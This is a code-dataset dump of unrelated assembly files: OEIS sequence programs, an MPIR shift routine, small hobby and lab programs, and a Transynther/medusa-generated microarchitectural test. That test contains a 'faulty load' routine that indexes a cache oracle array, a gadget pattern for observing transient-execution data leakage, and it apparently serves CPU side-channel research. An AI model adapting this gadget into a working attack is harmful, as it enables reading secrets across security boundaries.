hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
ff1f092deb41c423e7a0c055e2019e68aad69e8e
368
asm
Assembly
programs/oeis/036/A036551.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/036/A036551.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/036/A036551.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A036551: a(n) = 2^(n-1)*(3^n-1) + 1. ; 1,3,17,105,641,3873,23297,139905,839681,5038593,30232577,181397505,1088389121,6530342913,39182073857,235092475905,1410554920961,8463329656833,50779978203137,304679869743105,1828079219507201,10968475319140353,65810851919036417 mov $1,3 pow $1,$0 mov $2,$0 lpb $2 mul $1,2 sub $1,1 sub $2,1 lpe div $1,4 mul $1,2 add $1,1
24.533333
227
0.736413
b2dd87219ce1cc7d45913812493166eefd2f2abe
54
asm
Assembly
Tests/raw-du.asm
tim-roderick/simple-cpu-simulator
334baf1934751527b7e5ffa0ad85d5e53e7215a1
[ "MIT" ]
2
2019-12-09T12:02:50.000Z
2019-12-09T22:40:01.000Z
Tests/raw-du.asm
tim-roderick/simple-cpu-simulator
334baf1934751527b7e5ffa0ad85d5e53e7215a1
[ "MIT" ]
null
null
null
Tests/raw-du.asm
tim-roderick/simple-cpu-simulator
334baf1934751527b7e5ffa0ad85d5e53e7215a1
[ "MIT" ]
1
2020-05-04T09:13:50.000Z
2020-05-04T09:13:50.000Z
LDC r2 2 LDC r4 3 LDC r5 3 MUL r1 r4 r5 ADD r2 r1 r1
7.714286
12
0.666667
5955df0a60d6872f2dd5dcfc838508ee50a10488
482
asm
Assembly
libsrc/target/tvc/romgfx/fill.asm
dikdom/z88dk
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
[ "ClArtistic" ]
null
null
null
libsrc/target/tvc/romgfx/fill.asm
dikdom/z88dk
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
[ "ClArtistic" ]
2
2022-03-20T22:17:35.000Z
2022-03-24T16:10:00.000Z
libsrc/target/tvc/romgfx/fill.asm
jorgegv/z88dk
127130cf11f9ff268ba53e308138b12d2b9be90a
[ "ClArtistic" ]
null
null
null
; ; Videoton TV Computer asm stub ; Sandor Vass - 2022 ; ; Fills the screen from the given x,y coordinate ; SECTION code_clib PUBLIC fill PUBLIC _fill EXTERN pen_up EXTERN pen_down EXTERN setpos INCLUDE "target/tvc/def/tvc.def" .fill ._fill call pen_up ld hl,2 add hl,sp ld e,(hl) inc hl ld d,(hl) inc hl ld c,(hl) inc hl ld b,(hl) call setpos rst $30 defb FILL ; GRAPHICS - FILL ret
13.388889
48
0.582988
b73b675aa3ad8bfa130a2d642b08a80cd9bca7fa
451
asm
Assembly
programs/oeis/068/A068219.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/068/A068219.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/068/A068219.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A068219: Denominators of coefficients in log(1+x)*(1+x)^(1/3) power series. ; 3,3,9,3,15,9,21,6,27,15,33,9,39,21,45,12,51,27,57,15,63,33,69,18,75,39,81,21,87,45,93,24,99,51,105,27,111,57,117,30,123,63,129,33,135,69,141,36,147,75,153,39,159,81,165,42,171,87,177,45,183,93,189,48,195,99,201,51,207,105,213,54,219,111,225,57,231,117,237,60,243,123,249,63,255,129,261,66,267,135,273,69,279,141,285,72,291,147,297,75 add $0,1 dif $0,2 dif $0,2 mul $0,3
56.375
335
0.685144
91eb147a9f6cb7667f4a6f33fd1f005e5be666d2
1,202
asm
Assembly
programs/oeis/017/A017116.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/017/A017116.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/017/A017116.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A017116: a(n) = (8*n + 4)^4. ; 256,20736,160000,614656,1679616,3748096,7311616,12960000,21381376,33362176,49787136,71639296,100000000,136048896,181063936,236421376,303595776,384160000,479785216,592240896,723394816,875213056,1049760000,1249198336,1475789056,1731891456,2019963136,2342560000,2702336256,3102044416,3544535296,4032758016,4569760000,5158686976,5802782976,6505390336,7269949696,8100000000,8999178496,9971220736,11019960576,12149330176,13363360000,14666178816,16062013696,17555190016,19150131456,20851360000,22663495936,24591257856,26639462656,28813025536,31116960000,33556377856,36136489216,38862602496,41740124416,44774560000,47971512576,51336683776,54875873536,58594980096,62500000000,66597028096,70892257536,75391979776,80102584576,85030560000,90182492416,95565066496,101185065216,107049369856,113164960000,119538913536,126178406656,133090713856,140283207936,147763360000,155538739456,163617014016,172005949696,180713410816,189747360000,199115858176,208827064576,218889236736,229310730496,240100000000,251265597696,262816174336,274760478976,287107358976,299865760000,313044726016,326653399296,340701020416,355196928256,370150560000,385571451136,401469235456 mul $0,8 add $0,4 pow $0,4
171.714286
1,142
0.889351
24c2ddf4c8b028ddd31964ef574c19d64bf26b25
2,910
asm
Assembly
externals/mpir-3.0.0/mpn/x86_64w/k8/rshift1.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
12
2021-09-29T14:50:06.000Z
2022-03-31T15:01:21.000Z
externals/mpir-3.0.0/mpn/x86_64w/k8/rshift1.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
15
2021-12-24T22:53:49.000Z
2021-12-25T10:03:13.000Z
LibSource/mpir/mpn/x86_64w/k8/rshift1.asm
ekzyis/CrypTool-2
1af234b4f74486fbfeb3b3c49228cc36533a8c89
[ "Apache-2.0" ]
10
2021-10-17T19:46:51.000Z
2022-03-18T02:57:57.000Z
; PROLOGUE(mpn_rshift1) ; Version 1.0.4. ; ; Copyright 2008 Jason Moxham ; ; Windows Conversion Copyright 2008 Brian Gladman ; ; This file is part of the MPIR Library. ; The MPIR Library is free software; you can redistribute it and/or modify ; it under the terms of the GNU Lesser General Public License as published ; by the Free Software Foundation; either version 2.1 of the License, or (at ; your option) any later version. ; The MPIR Library is distributed in the hope that it will be useful, but ; WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ; or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public ; License for more details. ; You should have received a copy of the GNU Lesser General Public License ; along with the MPIR Library; see the file COPYING.LIB. If not, write ; to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, ; Boston, MA 02110-1301, USA. ; ; mp_limb_t mpn_rshift(mp_ptr, mp_ptr, mp_size_t) ; rax rdi rsi rdx ; rax rcx rdx r8 %include "yasm_mac.inc" CPU Athlon64 BITS 64 %define reg_save_list r12, r13 FRAME_PROC mpn_rshift1, 0, reg_save_list xor rax, rax lea rdx, [rdx+r8*8-8] lea rcx, [rcx+r8*8-8] mov r9, r8 and r9, 7 inc r9 shr r8, 3 ; and clear carry flag cmp r8, 0 jz .2 xalign 16 .1: mov r10, [rdx] mov r11, [rdx-8] mov r12, [rdx-16] mov r13, [rdx-24] rcr r10, 1 rcr r11, 1 rcr r12, 1 rcr r13, 1 mov [rcx], r10 mov [rcx-8], r11 mov [rcx-16], r12 mov [rcx-24], r13 mov r10, [rdx-32] mov r11, [rdx-40] mov r12, [rdx-48] mov r13, [rdx-56] rcr r10, 1 rcr r11, 1 rcr r12, 1 rcr r13, 1 mov [rcx-32], r10 mov [rcx-40], r11 mov [rcx-48], r12 mov [rcx-56], r13 lea rdx, [rdx-64] dec r8 lea rcx, [rcx-64] jnz .1 .2: dec r9 jz .3 ; Could suffer cache-bank conflicts in this tail part mov r10, [rdx] rcr r10, 1 mov [rcx], r10 dec r9 jz .3 mov r10, [rdx-8] rcr r10, 1 mov [rcx-8], r10 dec r9 jz .3 mov r10, [rdx-16] rcr r10, 1 mov [rcx-16], r10 dec r9 jz .3 mov r10, [rdx-24] rcr r10, 1 mov [rcx-24], r10 dec r9 jz .3 mov r10, [rdx-32] rcr r10, 1 mov [rcx-32], r10 dec r9 jz .3 mov r10, [rdx-40] rcr r10, 1 mov [rcx-40], r10 dec r9 jz .3 mov r10, [rdx-48] rcr r10, 1 mov [rcx-48], r10 .3: rcr rax, 1 END_PROC reg_save_list end
25.304348
77
0.534021
f30b5b22bab1bfba6332e8af9ea2211dc4f977d3
1,577
asm
Assembly
Semester4/MicroprocessorLab/Hardware/8_FireHelp.asm
ishank-dev/College-Work
e3e6fa3155c1b3a35a58faff1d41a3bcdc788272
[ "MIT" ]
1
2020-04-13T10:52:02.000Z
2020-04-13T10:52:02.000Z
Semester4/MicroprocessorLab/Hardware/8_FireHelp.asm
ishank-dev/College-Work
e3e6fa3155c1b3a35a58faff1d41a3bcdc788272
[ "MIT" ]
null
null
null
Semester4/MicroprocessorLab/Hardware/8_FireHelp.asm
ishank-dev/College-Work
e3e6fa3155c1b3a35a58faff1d41a3bcdc788272
[ "MIT" ]
null
null
null
; 7 segment display assume cs: code, ds: data data segment pa equ 20a0h pb equ 20a1h pc equ 20a2h cr equ 20a3h fire db 71h, 9fh, 0f5h, 61h help db 0d1h, 61h, 0e3h, 31h data ends code segment start: mov ax, data mov ds, ax mov dx, cr mov al, 80h ; Regular I/O mode out dx, al repeat: mov cx, 04 lea si, fire display_fire: mov al, [si] ; Call display on every character call display inc si loop display_fire call delay ; Delay after displaying fire mov cx, 04 lea si, help display_help: mov al,[si] call display inc si loop display_help mov ah, 06h ; Check for keyboard interrupt mov dl, 0ffh int 21h jz repeat ; If none, repeat mov ah, 4ch int 21h display proc push cx mov cx, 08 ; Because 8 bits per character nextbit: mov dx, pb out dx, al ; Outs one bit at a time to pb push ax mov dx, pc mov al, 0ffh out dx, al mov al, 00h out dx, al pop ax ror al, 1 ; Rotate al for the next bit loop nextbit pop cx ret display endp delay proc mov bx, 2fffh l1: mov di, ddffh l2: dec di jnz l2 dec bx jnz l1 ret delay endp code ends end start
19.962025
65
0.480025
1b28f2963a51740a3bbaa95dd77e18fbb2d9233d
6,774
asm
Assembly
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_232.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_232.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_232.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %r9 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x91b2, %rax nop nop nop inc %r13 mov $0x6162636465666768, %rcx movq %rcx, (%rax) nop nop nop dec %rbp lea addresses_WT_ht+0x11696, %rdx nop nop nop nop nop dec %r9 movups (%rdx), %xmm7 vpextrq $1, %xmm7, %rcx nop nop nop nop nop cmp %rbp, %rbp lea addresses_WC_ht+0x2a96, %rcx dec %r13 movl $0x61626364, (%rcx) nop nop nop add $18813, %rcx lea addresses_D_ht+0x136de, %r9 nop nop nop sub $24566, %r15 mov (%r9), %rax nop nop nop nop nop inc %r13 lea addresses_D_ht+0x896, %r13 clflush (%r13) nop cmp %r15, %r15 movups (%r13), %xmm0 vpextrq $0, %xmm0, %rdx nop nop add %r9, %r9 lea addresses_WC_ht+0xa16, %r15 add %rax, %rax movw $0x6162, (%r15) nop nop nop and $9678, %rcx lea addresses_A_ht+0xa896, %r9 nop nop cmp $1282, %rax mov (%r9), %ebp nop nop lfence lea addresses_normal_ht+0x796, %rsi lea addresses_normal_ht+0x1652c, %rdi nop nop cmp $25828, %rdx mov $111, %rcx rep movsw nop nop inc %rdi lea addresses_D_ht+0xe896, %rbp nop nop xor %rax, %rax movl $0x61626364, (%rbp) nop and $32764, %r13 lea addresses_WC_ht+0x16afe, %rbp nop nop nop nop add $13995, %r9 mov (%rbp), %ax nop nop nop nop nop xor %rdi, %rdi lea addresses_UC_ht+0xac96, %rbp nop nop nop and $18098, %r13 mov (%rbp), %dx nop nop xor $20415, %r15 lea addresses_UC_ht+0x1d716, %rsi nop nop nop inc %rax mov (%rsi), %rcx nop nop nop nop dec %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %r9 push %rbx push %rcx // Faulty Load lea addresses_US+0xb096, %r14 nop sub %r10, %r10 vmovups (%r14), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $0, %xmm2, %r9 lea oracles, %rcx and $0xff, %r9 shlq $12, %r9 mov (%rcx,%r9,1), %r9 pop %rcx pop %rbx pop %r9 pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 32, 'NT': True, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_US', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': True, 'AVXalign': True, 'congruent': 2}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 1}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': True, 'AVXalign': False, 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': True, 'congruent': 2}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.28125
2,999
0.654562
8b03fa5e7ce8f1a4e9131eb6f4615fef5b408203
1,570
asm
Assembly
Library/Text/TextLine/tlUtils.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Text/TextLine/tlUtils.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Text/TextLine/tlUtils.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: tlUtils.asm AUTHOR: John Wedgwood, Dec 31, 1991 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- John 12/31/91 Initial revision DESCRIPTION: Misc utilities used by everyone in this module. $Id: tlUtils.asm,v 1.1 97/04/07 11:20:53 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TextInstance segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TextLine_DerefVis_DI (SI) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Dereference an object to get to the vis-instance data. CALLED BY: Utility PASS: *ds:si = Instance ptr RETURN: ds:di = Vis-Instance ptr OR ds:si = Vis-Instance ptr DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 12/31/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TextLine_DerefVis_DI proc near class VisTextClass mov di, ds:[si] add di, ds:[di].Vis_offset ret TextLine_DerefVis_DI endp if 0 TextLine_DerefVis_SI proc near class VisTextClass mov si, ds:[si] add si, ds:[si].Vis_offset ret TextLine_DerefVis_SI endp endif TextInstance ends
22.428571
79
0.510191
8259ba4848ab401ae305c19edbfc408c70a504ff
4,422
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_778.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_778.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_778.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r14 push %rax push %rbp push %rdx // Store lea addresses_D+0xef99, %r10 nop nop nop nop dec %rbp movb $0x51, (%r10) nop nop nop xor %r13, %r13 // Load lea addresses_RW+0xe4a1, %r10 clflush (%r10) nop nop sub $57793, %r14 mov (%r10), %edx nop cmp %r12, %r12 // Store lea addresses_normal+0xf4a1, %r10 nop xor $3958, %r12 movb $0x51, (%r10) nop nop add $40657, %r12 // Faulty Load lea addresses_normal+0x4a1, %rax nop nop and %r14, %r14 mov (%rax), %r12 lea oracles, %rax and $0xff, %r12 shlq $12, %r12 mov (%rax,%r12,1), %r12 pop %rdx pop %rbp pop %rax pop %r14 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'dst': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 